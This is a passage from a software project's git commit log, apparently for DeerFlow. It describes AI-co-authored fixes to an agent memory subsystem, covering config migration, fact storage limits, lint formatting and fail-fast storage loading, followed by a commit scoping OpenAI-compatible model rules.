placeholders, E501 line too long) * fix(memory): restore hide_from_ui clarification preservation, expose mode Two memory-system fixes (F541/E501 lint was already fixed on this branch): - filter_messages_for_memory: restore default preservation of well-formed human_input_response clarification answers (v2 regression). The self-containment refactor made the bare function skip ALL hide_from_ui when no hook was passed, but upstream preserves well-formed clarification responses by default (test_hide_from_ui_human_input_response_is_preserved). Inline a host-agnostic _is_human_clarification_response mirror of read_human_input_response as the default keep-decision; the host-injected should_keep_hidden_message hook still overrides (production path unchanged). Portable package stays zero `from deerflow`. - /memory/config: expose `mode` (middleware|tool) in MemoryConfigResponse + the config/status endpoints + client.get_memory_config. mode is a host- shared, behavior-determining field missing from the response projection. Sync tests (mock .mode; e2e assert mode present). - Align manager_class field docstring with fail-fast behavior. Tests: filter/self-contained/portability (35) + memory-config (4) pass; ruff clean. Co-Authored-By: Claude <noreply@anthropic.com> * fix(memory): resolve ruff format failures in memory module + tests `make lint` runs `ruff format --check` in addition to `ruff check`; 8 memory files had pending format changes -- 7 pre-existing (deer_mem, updater, tools, test_memory_queue/router/search/tools) + message_processing from the hide_from_ui fix. Apply `ruff format`: whitespace/wrapping only, no logic change. 109 memory tests pass; ruff check + format --check both clean. Co-Authored-By: Claude <noreply@anthropic.com> * fix(memory): address PR review - legacy field migration, fact_id contract, path/docs Address willem-bd's review on PR head bc8bf0d4 (risk:high, persistent state): - config: auto-migrate pre-abstraction top-level memory.* DeerMem fields (storage_path, max_facts, debounce_seconds, model_name, token_counting, staleness_*, consolidation_*) into backend_config on load + warn, so an upgrade does NOT silently revert customized settings (was: silent extra='ignore' drop). model_name -> backend_config.model.model. Unknown top-level keys warned. - factory: resolve a relative backend_config.storage_path against runtime_home() (base_dir-relative, CWD-independent) to preserve pre-abstraction semantics; paths.py stays portable (no runtime_home import). - tools: memory_add uses the fact_id returned directly by create_fact instead of re-deriving it via content-key matching (coupled the tool to the backend's content normalization; could misreport a storage cap). create_fact now returns (memory_data, fact_id); gateway/client/tool updated. Fix terse {"error":"content"} -> {"error":"empty content"}. - app.py: update stale token_counting=="char" warm-up comment to point at manager.warm (DeerMem.warm re-checks char and returns early). - router: comment explaining reload_memory silent fallback vs fact 501 asymmetry (read-only degrade vs write fail-loud). - CHANGELOG: document breaking changes (/memory/config + client.get_memory_config shape flat->backend_config; custom storage_class path moved + __init__ must accept config) and the legacy-field auto-migration. - tests: add regression test pinning the per-user memory path ({storage_path}/users/{safe_user_id}/memory.json == host make_safe_user_id) across the abstraction; update create_fact mocks for (memory_data, fact_id). Tests: 273 passed (memory suite); ruff check + format clean. Co-Authored-By: Claude <noreply@anthropic.com> * fix(memory): address PR review - storage_path, max_facts, tracing, parsing Six review findings (willem-bd), each verified against upstream: - storage_path semantics (file -> root dir): migration drops file-style (.json) legacy values with a warning; factory raises if storage_path resolves to an existing file (avoid silent NotADirectoryError write failure). CHANGELOG + config.example.yaml comment updated. - create_memory_fact enforces max_facts again (via _trim_facts_to_max) and returns (memory, None) when the cap evicts the new fact; memory_add tool reports "not stored", client raises ValueError, POST /memory/facts -> 409. - max_facts trim uses _coerce_source_confidence (was raw f.get("confidence", 0) -> TypeError on non-float imported/legacy confidence, swallowed as silent update failure). - memory-tracing assistant_id restored to "memory_agent" (was "lead-agent" copy-paste; matches upstream + DeerMem run_name). - _is_human_clarification_response cross-checked against read_human_input_response (drift guard test). - empty-string legacy values skipped silently in migration (narrow fix, not broad "if not value" which would skip explicit bool False). 8 new regression tests. make lint + 406 memory tests pass. Co-Authored-By: Claude <noreply@anthropic.com> * fix(memory): address internal review - storage fail-fast, build_llm degrade, config warn, noop template Addresses 4 findings from the PR #4122 internal supplemental review (parallel to willem-bd's review, no overlap): - create_storage fail-fast: a misspelled/unimportable storage_class now raises ValueError instead of silently falling back to FileMemoryStorage. Memory is persistent state, so a wrong store is a data-integrity footgun; mirrors the existing manager_class resolution policy. (storage.py) - noop template create_fact signature: the commented template used keyword-only `content` and returned a bare dict, while DeerMem's actual create_fact takes positional `content` and returns tuple[dict, str|None] (the memory_add tool passes content positionally; gateway/client/tools all tuple-unpack). A backend copied from the template would 500 on fact-CRUD. Template fixed; delete_fact/update_fact templates left (callers compatible). (noop_manager.py) - build_llm graceful degrade: wrap init_chat_model in try/except, degrade to None + WARNING on failure (mirroring _host_default_llm) so a misconfigured explicit model does not crash app startup -- non-LLM memory ops still work and an update raises at runtime with the error logged. (llm.py) - from_backend_config unknown-key warning: log a WARNING for unknown backend_config keys (mirrors the host layer's load_memory_config_from_dict) so a typo like `storage_pat` does not silently fall back to the default and write memory to an unintended location. (config.py) Tests: rewrote 3 create_storage fallback tests to expect ValueError; added 4 tests (build_llm zero-config/degrade, from_backend_config warn/silent). make lint green; full memory suite passes. Co-Authored-By: Claude <noreply@anthropic.com> --------- Co-authored-by: lllyfff <2281215061@qq.com> Co-authored-by: Claude <noreply@anthropic.com> Co-authored-by: lllyfff <122260771+lllyfff@users.noreply.github.com>	2026-07-15 11:21:04 +08:00
Aari	e2816eaa97	fix(models): scope the OpenAI-compat rules to BaseChatOpenAI, not a class-path allowlist (#4146) ... * fix(models): scope the OpenAI-compat rules to BaseChatOpenAI, not a class-path allowlist * address review: drop redundant stream_usage helper, close test matrix - Remove _enable_stream_usage_by_default and its now-unused _OPENAI_COMPAT_USE_PATHS tuple. The class-field stream_usage fallback already sets stream_usage=True for every BaseChatOpenAI subclass (they all declare the field), so the helper's use-path allowlist gated nothing real — verified a no-op in prod, and the two stream_usage tests stay green on main with the helper present. Those tests used a BaseChatModel stub that does not declare the field; point them at a real ChatOpenAI capturing class so they exercise the fallback they now depend on. - Give the non-OpenAI normalization-skip test an actual api_base value so it exercises the skip path (api_base passed through verbatim, never rewritten to base_url). - Add an Unreleased CHANGELOG entry for the api_base behavior change on the five affected subclasses. --------- Co-authored-by: Willem Jiang <willem.jiang@gmail.com>	2026-07-14 09:32:53 +08:00